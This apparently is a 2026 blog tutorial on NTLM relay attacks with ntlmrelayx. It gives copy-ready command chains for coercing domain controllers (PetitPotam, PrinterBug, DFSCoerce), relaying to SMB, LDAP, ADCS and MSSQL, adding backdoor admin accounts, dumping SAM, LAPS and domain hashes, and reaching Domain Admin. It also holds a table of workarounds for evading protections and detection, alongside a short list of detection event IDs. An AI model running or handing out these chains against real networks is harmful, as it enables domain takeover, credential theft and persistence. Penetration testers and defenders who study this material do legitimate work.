ntlmrelayx: NTLM Relay Attack - Setup and Bypass 2026

Complete guide to the NTLM Relay Attack with ntlmrelayx: coercion (PetitPotam, PrinterBug), SMB/LDAP/ADCS relay (ESC8), RBCD, Shadow Credentials, and DCSync. Internal network to Domain Admin workflow.
- Posted on 2026-06-18
- Reading time: 15 min
ntlmrelayx.py — Complete Guide to NTLM Relay with Impacket #
TL; DR:
ntlmrelayx.pyIt intercepts NTLM authentications and retransmits them to a target service without knowing the password. With forced coercion, you can force a Domain Controller to authenticate to you and reach Domain Admin in minutes—exploiting misconfiguration, not zero-days.
ntlmrelayx.py is part of Packet and it's the most comprehensive tool for NTLM relay attacks. It's not a single tool: it's a three-layer system. Understanding this architecture is what separates those who use ntlmrelayx mechanically from those who understand why each relay works or fails.
Official reference: fortra/impacket — ntlmrelayx.py
MITRE ATT&CK: T1557.001 — LLMNR/NBT-NS Poisoning and SMB Relay
Architecture: ntlmrelayx is 3 things together #
┌─────────────────────────────────────────────────┐
│ LAYER 1 — CAPTURE ENGINE │
│ SMB Server │ HTTP Server │ WCF Server │ RAW │
│ (porta 445) (porta 80) (.NET WCF) (6666) │
│ Riceve l'autenticazione NTLM dal victim │
└──────────────────────┬──────────────────────────┘
│
┌──────────────────────▼──────────────────────────┐
│ LAYER 2 — RELAY ENGINE │
│ Inoltra challenge/response NTLM al target │
│ senza mai vedere la password │
│ Implementa CVE-2019-1040 (--remove-mic) │
└──────────────────────┬──────────────────────────┘
│
┌──────────────────────▼──────────────────────────┐
│ LAYER 3 — PROTOCOL HANDLER + ACTIONS │
│ SMB │ LDAP │ LDAPS │ HTTP │ MSSQL │ IMAP │
│ Esegue azioni post-relay specifiche per │
│ protocollo: dump, RBCD, exec, ADCS cert... │
└─────────────────────────────────────────────────┘The reason it works is this: NTLM is a challenge-response protocol that doesn't tie authentication to the network channel (except for EPA/Channel Binding). ntlmrelayx captures the authentication flow at Layer 1 and reuses it identically towards a different target at Layer 2. Layer 3 decides what to do after the access is gained.
The target protocols — behavior, requirements, impact #
This is the part you need to understand before choosing a target. Each protocol has different rules about when relaying is possible and what you can do afterward.
SMB (smb://)
#
Why it works: SMB allows session setup via NTLM. Message signing is optional and disabled by default on non-DC workstations and servers. Without a signature, relayed authentication is indistinguishable from legitimate authentication.
Why it fails: Mandatory SMB signing (all DCs by default, Group Policy option) binds NTLM to the SMB channel via cryptographic signature — the relay would be rejected.
SMB signing OFF → relay funziona → esegui comandi, dumpa SAM, accedi ai file
SMB signing ON → relay rigettato → cambia target| What can you do | Requirement |
|---|---|
Executing commands (-c) | Local admin on target |
| SAM/LSA automatic dump | Local admin on target |
| File share access | Any user with share permissions |
| User enumeration (non-admin) | Any domain account |
Interactive shell (-i) | Local admin (per write) |
# SAM dump automatico — il più usato
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
# Esecuzione comando immediata
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "whoami && net localgroup Administrators"
# Aggiunta utente admin locale
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"
# Shell interattiva → accesso file, upload/download
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
nc 127.0.0.1 11000 # → smb> shares / ls / get / put
# SOCKS per tool multipli sulla stessa sessione
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@10.10.10.20LDAP (ldap://)
#
Why it works: LDAP accepts native NTLM authentication (LDAP binds via NTLM). LDAP signing is configurable—many environments have not forced it for legacy compatibility.
Why it fails: if LDAP signing is required (ldapServerIntegrity = 2), any write operation is rejected. Read-only/dump operations may also work with signing required in certain scenarios.
LDAP signing OFF → relay funziona → modifica AD, RBCD, dump
LDAP signing ON → solo dump possibile → per write usa LDAPS| What can you do | Requirement |
|---|---|
| Dump users/groups/AD structure | Authenticated account |
| Create domain user | Sufficient permits |
| Adding to Domain Admins | Elevated privileges on the relayed account |
| RBCD setup | Write on msDS-AllowedToActOnBehalfOfOtherIdentity |
| Dump LAPS | ms-Mcs-AdmPwd readable |
| Shadow Credentials | Write to msDS-KeyCredentialLink (not plain LDAP) |
--escalate-user → FROM direct | Write on domain root object (grant DCSync rights to target user) |
# Dump struttura AD + tentativo aggiunta DA (automatico)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support
# Dump LAPS — password admin locali in chiaro
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps
# Dump gMSA
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa
# Crea computer account (per RBCD manuale successivo)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--add-computer 'EVIL$' 'EvilPass123!'
# RBCD automatico — --delegate-access crea computer + configura delega
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access
# Shadow Credentials — inietta chiave in msDS-KeyCredentialLink
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--shadow-credentials --shadow-target 'WS01$'
# Escalate utente specifico a Domain Admin (senza creare computer account)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --escalate-user john.doe
# Cross-protocol — SMB in → LDAP out (rimuove MIC)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic
# Interactive LDAP shell — comandi diretti su AD
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support -i
nc 127.0.0.1 XXXX # → add_user / add_user_to_group / dump_domain ...LDAPS (ldaps://)
#
Why it works: LDAPS is LDAP over TLS. It doesn't have the same signing issues—the TLS encryption of the channel isn't cryptographically tied to NTLM authentication (unless Channel Binding/CBT is active). It allows all the write operations that signed LDAP blocks.
Why it fails: LDAP Channel Binding (CBT) binds NTLM authentication to the server's TLS certificate—the relay is rejected because the attacker doesn't have the DC's certificate. Enabled on modern DCs with recent patches.
LDAPS senza CBT → relay funziona + write complete → RBCD, Shadow Creds, user creation
LDAPS con CBT → relay rigettato → usa HTTP/ADCS| What can you do | Requirement |
|---|---|
| Everything LDAP allows | + |
| Shadow Credentials | Write on msDS-KeyCredentialLink |
| Add computer account | MachineAccountQuota > 0 |
| Complete RBCD | Write on the target computer object |
# RBCD — crea computer + configura delega (poi usa getST)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access
# Shadow Credentials su LDAPS (più affidabile che su LDAP plain)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--shadow-credentials --shadow-target 'DC01$'
# Cross-protocol SMB → LDAPS (rimuovi MIC)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic --delegate-access
# Con IPv6/mitm6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 -smb2support --delegate-accessHTTP / HTTPS (http:// / https://)
#
Why it works: HTTP doesn't support message signing—there's no equivalent mechanism for SMB signing or LDAP signing. This means any NTLM authentication over HTTP can be relayed, regardless of the domain configuration. This is why ESC8 is so devastating: AD CS Web Enrollment accepts NTLM over HTTP by default.
Why it fails: EPA (Extended Protection for Authentication) over HTTPS binds the NTLM token to the TLS channel—the relay is rejected. If the CA has EPA enabled, ESC8 won't work.
HTTP senza EPA → relay SEMPRE possibile → ADCS, Exchange, OWA, web app
HTTP con EPA → relay rigettato| HTTP Target | Carrier |
|---|---|
AD CS Web Enrollment (/certsrv/) | ESC8 → certified for DC$ → DCSync |
| Exchange EWS | Mailbox access, lateral movement |
| OWA (Outlook Web App) | Email access |
| IIS with NTLM auth | App Access |
| WPAD | Capture hashes while browsing |
# ESC8 — relay verso Web Enrollment AD CS
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
# Verifica prima se il CA ha EPA disabilitato
curl -I http://CA_IP/certsrv/
# → "WWW-Authenticate: NTLM" = vulnerabile
# Dopo aver ricevuto il certificato (Base64 nel log):
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → ottieni NT hash + TGT del DC01$
# DCSync con il ticket ottenuto
impacket-secretsdump -k -no-pass -just-dc-ntlm \
corp.local/'DC01$'@DC01.corp.localMSSQL (mssql://)
#
Why it works: SQL Server supports Windows Authentication via NTLM as a legacy method. It has no signing equivalent to SMB. An NTLM relay to SQL Server is accepted as legitimate Windows authentication.
Why it fails: If SQL Server only uses SQL Authentication (not Windows Auth), NTLM relay makes no sense. If the relayed account doesn't have permissions on the database, you'll get limited access.
MSSQL con Windows Auth → relay funziona → login SQL
Account relayed = sysadmin → xp_cmdshell → RCE| What can you do | Requirement |
|---|---|
| Database login | Windows Auth enabled |
| Data Query | SELECT Permissions |
xp_cmdshell → RCE | sysadmin role |
| Reading file server | BULK INSERT, OPENROWSET |
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30IMAP/SMTP #
Less used in pure AD scenarios, but relevant in on-premises Exchange environments.
IMAP relay → accesso mailbox → lettura email, esfiltrazione dati
SMTP relay → invio email → phishing interno da account legittimosudo ntlmrelayx.py -t imap://EXCHANGE_IP -smb2support
sudo ntlmrelayx.py -t smtp://EXCHANGE_IP -smb2supportDecision tree — what you use based on what you find #
HAI UN'AUTENTICAZIONE NTLM (da Responder/coercizione)?
│
├── Target ha SMB signing OFF?
│ └── SÌ → SMB relay → SAM dump, exec, file access
│ → ntlmrelayx.py -tf relay.txt -smb2support
│
├── Target ha LDAP signing OFF?
│ └── SÌ (write) → LDAP relay → RBCD, dump, user creation
│ → ntlmrelayx.py -t ldap://DC_IP -smb2support
│ └── LDAPS senza CBT → ancora meglio → Shadow Credentials + RBCD
│ → ntlmrelayx.py -t ldaps://DC_IP -smb2support
│
├── AD CS Web Enrollment esposto (ESC8)?
│ └── SÌ → HTTP relay → certificato DC$ → DCSync completo
│ → ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
│
├── AD CS esposto via RPC (ESC11)?
│ └── SÌ + IF_ENFORCEENCRYPTICERTREQUEST=0 → RPC relay → certificato DC$ → DCSync
│ → ntlmrelayx.py -t rpc://CA_IP --adcs --template DomainController -smb2support
│
├── SQL Server con Windows Auth?
│ └── SÌ → MSSQL relay → login → se sysadmin → xp_cmdshell
│ → ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
│
├── Exchange / OWA esposto?
│ └── SÌ → HTTP relay → accesso mailbox
│
├── Nulla funziona con questa autenticazione?
│ └── Cambia vittima della coercizione
│ → Coerci un account con più privilegi (machine account, service account)
│ → WebDAV coercion per bypassare SMB signing
│ → --remove-mic per cross-protocol relay
│
└── SMB signing ovunque + LDAP signing + no ADCS?
└── mitm6 → LDAPS relay → RBCD → getST → DAStep 0 — Check first #
# SMB signing — genera target list direttamente
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay_targets.txt
# "signing:False" → relay target
# Verifica LDAP signing sul DC
nxc ldap 10.10.10.5 -u user -p pass -M ldap-checker
# "LDAP Signing: NOT required" → relay LDAP possibile
# Verifica ESC8 (Web Enrollment senza EPA)
curl -I http://CA_IP/certsrv/
# "WWW-Authenticate: NTLM" → ESC8 vulnerabile
# Verifica WebClient (WebDAV) sulle workstation
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
# Verifica MachineAccountQuota (per RBCD)
nxc ldap 10.10.10.5 -u user -p pass -M maq
# Verifica ESC11 (RPC senza encryption forzata)
certipy find -u user@corp.local -p pass -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → ESC11 vulnerabileStep 1 — Capture NTLM authentication #
Responder — LLMNR/NBT-NS poisoning (passive) #
Reply poisons failed DNS resolutions. When a host cannot find \\TYPO via DNS, sends an LLMNR broadcast — Responder responds and captures authentication. You must disable SMB and HTTP because ntlmrelayx needs to handle those ports.
# Configura Responder
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
# Lancia in poisoning mode
sudo responder -I eth0 -rdwv
# Solo ascolto (recon senza poisoning)
sudo responder -I eth0 -Amitm6 — DHCPv6 poisoning #
Windows prefers IPv6 over IPv4. mitm6 responds to DHCPv6 requests by declaring itself an IPv6 DNS server and poisoning resolutions. This also works with LLMNR disabled.
pip3 install mitm6
sudo mitm6 -d corp.local -i eth0
# ntlmrelayx deve girare con -6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2supportmitm6 is not immediate: Windows renews DHCP on reboot or network events. Wait 5–30 minutes.
NTLMv1 downgrade + crack offline #
If the environment supports NTLMv1 (legacy or misconfigured), the resulting hashes are crackable with hashcat in minutes—unlike NTLMv2. Responder can force the downgrade.
# Forza NTLMv1 in Responder.conf
sed -i 's/Challenge = Random/Challenge = 1122334455667788/g' /etc/responder/Responder.conf
# Lancia con --lm per forzare downgrade
sudo responder -I eth0 -rdwv --lm
# Hash catturato (formato NetNTLMv1):
# USER::DOMAIN:LMResponse:NTResponse:Challenge
# Crack con hashcat (mode 5500 = NetNTLMv1)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
# Con GPU e rainbow tables → crack quasi istantaneo su crack.sh
# https://crack.sh/ accetta NetNTLMv1 con challenge fisso 1122334455667788Note: NTLMv1 is disabled by default on modern systems. To detect hosts that accept it, check the registry key.
LmCompatibilityLevel(values 0-2 = NTLMv1 accepted):nxc smb TARGET -u user -p pass -x “reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel"Or look at the format of the hashes captured by Responder: NetNTLMv1 hasLMResponse:NTResponse:Challenge, NetNTLMv2 hasNTProofStr:blob.
Step 2 — Coercion techniques (forced authentication) #
Coercion forces a specific host (even the DC) to authenticate to you without waiting. It requires low-privilege domain credentials.
PrinterBug / SpoolSample (MS-RPRN) #
Print Spooler abuse. The target returns to the attacker with their machine account. Requires Print Spooler enabled.
python3 printerbug.py corp.local/user:Password123@10.10.10.5 10.10.14.1
# 10.10.10.5 = host da coercere (es. DC)
# 10.10.14.1 = IP attaccante
# Verifica se Print Spooler è attivo
nxc smb 10.10.10.5 -u user -p pass -M spoolerPetitPotam (MS-EFSR) #
It abuses EFS (Encrypting File System). The authenticated version works even post-patch.
# Autenticata (funziona post-CVE-2022-26925)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Unauthenticated (solo sistemi non patchati)
python3 PetitPotam.py 10.10.14.1 10.10.10.5
# WebDAV variant — esce via HTTP invece di SMB (bypassa SMB signing!)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test 10.10.10.5DFSCoerce (MS-DFSNM) #
Unpatched — works on up-to-date systems.
python3 dfscoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5ShadowCoerce (MS-FSRVP) #
python3 shadowcoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5Coercer — aggregates all methods #
Coercer automatically tests 12+ methods and uses the one that works.
pip3 install coercer
# Scan — verifica senza coercere
python3 Coercer.py scan -t 10.10.10.5 -u user -p Password123 -d corp.local -v
# Coerce con tutti i metodi
python3 Coercer.py coerce -t 10.10.10.5 -l 10.10.14.1 \
-u user -p Password123 -d corp.local --always-continueWebDAV coercion — bypasses SMB signing #
If WebClient is enabled, coercion goes out via HTTP (port 80) instead of SMB. HTTP is unsigned → you can relay it even when SMB signing is required everywhere.
# Verifica WebClient
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
# ntlmrelayx ascolta su HTTP
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access --http-port 80 -smb2support
# Coercione verso HTTP (WebDAV)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test WS01_IPWPAD + mitm6 — Forced proxy authentication #
mitm6 declares itself as an IPv6 DNS server. Windows machines look for the proxy configuration via WPAD (Web Proxy Auto-Discovery) → they make an NTLM-authenticated HTTP request to the attacker. It operates passively, without active coercion.
# Terminal 1 — mitm6 avvelena DNS IPv6
sudo mitm6 -d corp.local -i eth0
# Terminal 2 — ntlmrelayx con WPAD + relay LDAPS
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2support \
--wpad-host 10.10.14.1 --wpad-auth-num 1
# Quando una macchina richiede wpad.dat → autenticazione NTLM → relay
# --wpad-host = IP dell'attaccante che serve il file WPAD
# --wpad-auth-num 1 = forza autenticazione NTLM prima di servire il WPADThe mitm6 + WPAD combo hits every machine that opens the browser on the network — no need to wait for name errors or manual coercion.
ntlmrelayx global options #
| Option | Description |
|---|---|
-t TARGET | Single Target |
-tf FILE | File with target list |
-smb2support | Always put it on — enable SMB2 |
-6 | IPv6 support (for mitm6) |
-i | Interactive shell → accessible via nc |
-socks | Keep session open for proxychains |
-c COMANDO | Run command on SMB relay |
-e FILE | Upload and execute files on the target |
--remove-mic | Remove MIC (CVE-2019-1040) — for cross-protocol relay |
--no-dump | Don't do automatic SAM dump |
--no-da | Do not attempt to add Domain Admins |
--no-acl | Do not modify ACL |
-w | Monitor target files for live updates |
--http-port PORT | HTTP listener port |
--no-http-server | Disable HTTP server |
--no-smb-server | Disable SMB server |
--escalate-user USER | Escalate existing user to Domain Admin via LDAP |
Scenario 1 — SMB Relay → SAM dump + exec #
# SAM dump automatico su tutti i target
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
# Con exec
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"
# Interactive shell
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
# → nc 127.0.0.1 11000What to do with SAM hashes #
nxc smb 10.10.10.0/24 -u Administrator -H NThash --local-auth
impacket-secretsdump corp.local/administrator:pass@10.10.10.20Scenario 2 — SOCKS mode → persistent access #
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
# Lista sessioni attive
ntlmrelayx> socks
# Via proxychains — usa qualsiasi tool come se fossi autenticato
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains -q impacket-secretsdump -no-pass CORP/admin@TARGET
proxychains -q nxc smb TARGET -u admin -p '' --no-bruteforceScenario 3 — LDAP Relay → RBCD → Domain Admin #
# Step 1 — relay LDAPS con --delegate-access
# Usa -6 se catturi con mitm6; omettilo se usi solo coercizione
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access -smb2support
# Step 2a — mitm6 (passivo, cattura DHCP IPv6)
sudo mitm6 -d corp.local -i eth0
# Oppure: Step 2b — coercizione diretta (aggiungere -6 al comando sopra se usi mitm6)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Quando WS01$ autentica:
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity
# Step 3 — getST e accesso come Administrator
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
-dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.localFull flow in RBCD and getST.py.
Scenario 4 — LDAPS Relay → Shadow Credentials #
Stealthier than RBCD — does not create computer accounts.
sudo ntlmrelayx.py -t ldaps://10.10.10.5 \
--shadow-credentials --shadow-target 'WS01$' \
--pfx-password 'CertPass123' --export-type PEM \
--cert-outfile-path /tmp/ws01_shadow -smb2support
# Metodo 1 — PKINITtools
python3 gettgtpkinit.py -cert-pfx /tmp/ws01_shadow.pfx -pfx-pass 'CertPass123' \
corp.local/'WS01$' /tmp/ws01.ccache
KRB5CCNAME=/tmp/ws01.ccache python3 getnthash.py -key AS_REP_KEY corp.local/'WS01$'
nxc smb WS01.corp.local -u 'WS01$' -H NThash
# Metodo 2 — certipy (più semplice)
certipy auth -pfx /tmp/ws01_shadow.pfx -dc-ip 10.10.10.5 -username 'WS01$' -domain corp.local
# → restituisce direttamente NT hash + TGTDetails in Shadow Credentials.
Scenario 5 — LDAP Relay → Dump LAPS / gMSA / ADCS info #
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps
# Hostname | AdmPwd
# WS01.corp.local | R@nd0mL@ps!
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-adcs # template ESC info
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --add-computer 'EVIL$' 'EvilPass123!'Scenario 6 — HTTP Relay → ESC8 (AD CS) → DCSync #
This scenario does not depend on SMB signing or LDAP signing — HTTP has no signing, it always works if EPA is not enabled on the CA.
# Step 1 — Verifica
curl -I http://CA_IP/certsrv/
# WWW-Authenticate: NTLM → vulnerabile
# Step 2 — ntlmrelayx verso Web Enrollment
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
# Step 3 — Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Quando arriva autenticazione DC01$:
# [*] Certificate successfully requested
# [*] Base64 certificate of user DC01$: MIIRLAIBAz...
# Step 4 — Autenticati come DC01$ e DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → NT hash di DC01$
KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass \
-just-dc-ntlm corp.local/'DC01$'@DC01.corp.localFull ADCS path in ADCS ESC1-ESC16.
Scenario 6b — RPC Relay → ESC11 (AD CS via ICPR) #
ESC11 is the alternative to ESC8 when Web Enrollment (/certsrv/) is not exposed or has EPA enabled. It abuses the native ADCS RPC protocol (MS-ICPR)—not HTTP—to request certificates. It has no signing mechanism equivalent to SMB.
Prerequisite: the CA has the flag IF_ENFORCEENCRYPTICERTREQUEST Not set (value 0). Verifiable with certipy or the CA GUI.
# Verifica flag ESC11 sul CA
certipy find -u user@corp.local -p Password123 -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → vulnerabile
# ntlmrelayx verso RPC del CA
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support \
--adcs --template DomainController
# Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Il flow post-relay è identico a ESC8:
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC01.corp.localESC11 bypasses the EPA protection that blocks ESC8 — if you find a CA with both services, try ESC11 first.
Scenario 7 — MSSQL Relay → xp_cmdshell #
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';Deepening in port 1433 MSSQL.
Scenario 8 — Cross-protocol relay with --remove-mic
#
When SMB signing is required but LDAP signing is not, use --remove-mic to strip MIC from NTLM authentication and relay it cross-protocol.
# SMB → LDAP (rimuove MIC per aggirare protezione cross-protocol)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic
# SMB → LDAPS
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic
# Utile anche con NTLMv1 (che non ha MIC nativamente)Scenario 9 — Multi-relay (-tf) #
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -w
# Un'unica autenticazione → relay contemporaneo su TUTTI i target
# -w aggiorna la lista liveScenario 10 — SMB signing everywhere → WebDAV → LDAPS relay #
When SMB signing is required network-wide and LDAP signing blocks writes, WebDAV is the bypass. If WebClient is running on a workstation, coercion goes out via HTTP (port 80) instead of SMB—and HTTP is unsigned.
# Step 1 — verifica WebClient attivo sulle workstation
nxc smb 10.10.10.0/24 -u user -p Password123 -M webdav
# "WebClient: True" → target usabile per coercizione WebDAV
# Step 2 — ntlmrelayx in ascolto su HTTP porta 80
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access \
--http-port 80 -smb2support
# Step 3 — coercizione WebDAV su una workstation con WebClient attivo
# Il formato ATTACKER@80/path forza l'uscita via HTTP/WebDAV
python3 PetitPotam.py -u user -p Password123 -d corp.local \
10.10.14.1@80/test WS01_IP
# Alternativa con printerbug verso workstation (non DC)
python3 printerbug.py corp.local/user:Password123@WS01_IP 10.10.14.1@80/test
# Step 4 — WS01$ autentica su HTTP → relay LDAPS → RBCD su WS01$
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity
# Step 5 — getST → accesso come Administrator su WS01
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
-dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.localThis flow also works with SMB signing required on all targets — it's the method to use when every other route is blocked.
Limitations and workarounds #
| Protection | What's blocking | Workaround |
|---|---|---|
| SMB signing required | SMB relay | Relay on LDAP/HTTP/MSSQL; WebDAV coercion |
| LDAP signing required | LDAP write relay | Use LDAPS; --remove-mic cross-protocol |
| LDAPS Channel Binding (CBT) | LDAPS relay | HTTP/ADCS relay; very difficult to circumvent |
| EPA on AD CS | ESC8 relay | ESC11 (RPC relay) if ICPR does not have forced encryption |
| IF_ENFORCEENCRYPTICERTREQUEST=1 | ESC11 relay | Use ESC8 if Web Enrollment is available |
| LLMNR/NBT-NS disabled | Passive responder | mitm6 + active coercion |
| PetitPotam patched (anon) | EFS anonymous coercion | Authenticated Version; PrinterBug; DFSCoerce |
| Print Spooler disabled | PrinterBug | DFSCoerce; PetitPotam Authenticated; Coercer |
| Microsoft Defender for Identity | Detect relay + coercion | Reduce speed; use existing sessions |
Detection #
| Technology | Event ID | Indicator |
|---|---|---|
| LLMNR poisoning | 4648 | Explicit logon to unusual IP |
| SMB Relay | 4624 Type 3 | Network login from attacker IP |
| LDAP Relay | 4662 | Change msDS-AllowedToActOnBehalfOf, msDS-KeyCredentialLink |
| PetitPotam / PrinterBug | 4769 | Machine account authenticates to non-DC IP |
| ESC8 | 4886 | Cert request for machine account ($) from unusual IP |
| ESC11 | 4886 + RPC traffic | Certificate request via ICPR from unauthorized IP |
| Shadow Credentials | 4662 | Edit msDS-KeyCredentialLink |
| RBCD | 4662 | Change msDS-AllowedToActOnBehalfOfOtherIdentity |
| Escalate-user | 4662 | ACL modification on domain root object (DS-Replication rights added) |
| Cross-protocol (–remove-mic) | 4624 + correlation | NTLM without MIC on modern environments |
Complete workflow — from internal network to Domain Admin #
FASE 1 — RECON
├── nxc smb subnet --gen-relay-list relay.txt → trova target SMB unsigned
├── nxc ldap DC -u user -p pass -M ldap-checker → verifica LDAP signing
├── curl -I http://CA_IP/certsrv/ → verifica ESC8
├── certipy find ... | grep -i enforce → verifica ESC11
└── nxc smb subnet -M webdav → verifica WebDAV
FASE 2 — DECISION TREE
├── SMB signing OFF → SMB relay (più semplice)
├── LDAP signing OFF → LDAP/LDAPS relay (AD manipulation)
├── ESC8 → HTTP relay verso ADCS (più devastante)
├── ESC11 → RPC relay verso ADCS (alternativa senza EPA)
├── WebClient attivo → WebDAV coercion → bypassa SMB signing ovunque
└── Niente → mitm6 + WebDAV coercion
FASE 3 — SETUP (3 terminal paralleli)
├── T1: ntlmrelayx con target e azioni
├── T2: Responder (HTTP/SMB off) OPPURE mitm6
└── T3: coercizione attiva (PrinterBug/PetitPotam/DFSCoerce)
FASE 4 — IMPATTO
├── SMB relay → SAM dump → PtH laterale
├── LDAPS relay → RBCD/Shadow Creds → getST → DA
├── ESC8/ESC11 → certificato DC$ → secretsdump → tutti gli hash
└── MSSQL → xp_cmdshell → shell
FASE 5 — PERSISTENZA
└── Hash krbtgt → Golden Ticket → /articoli/golden-ticketComplete Cheat Sheet #
# === RECON ===
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
nxc ldap DC -u user -p pass -M ldap-checker
nxc smb subnet -u user -p pass -M webdav
curl -I http://CA_IP/certsrv/
certipy find -u user@corp.local -p pass -dc-ip DC_IP -stdout | grep -i enforce
# === SETUP RESPONDER ===
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
sudo responder -I eth0 -rdwv
# === COERCIZIONE ===
python3 printerbug.py corp.local/user:pass@DC_IP ATTACKER_IP
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 dfscoerce.py -u user -p pass -d corp.local ATTACKER_IP DC_IP
python3 Coercer.py coerce -t DC_IP -l ATTACKER_IP -u user -p pass -d corp.local
# === SMB RELAY ===
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
sudo ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i # → nc 127.0.0.1 11000
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@TARGET
# === LDAP/LDAPS RELAY ===
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support # dump + auto
sudo ntlmrelayx.py -t ldaps://DC_IP -smb2support # write complete
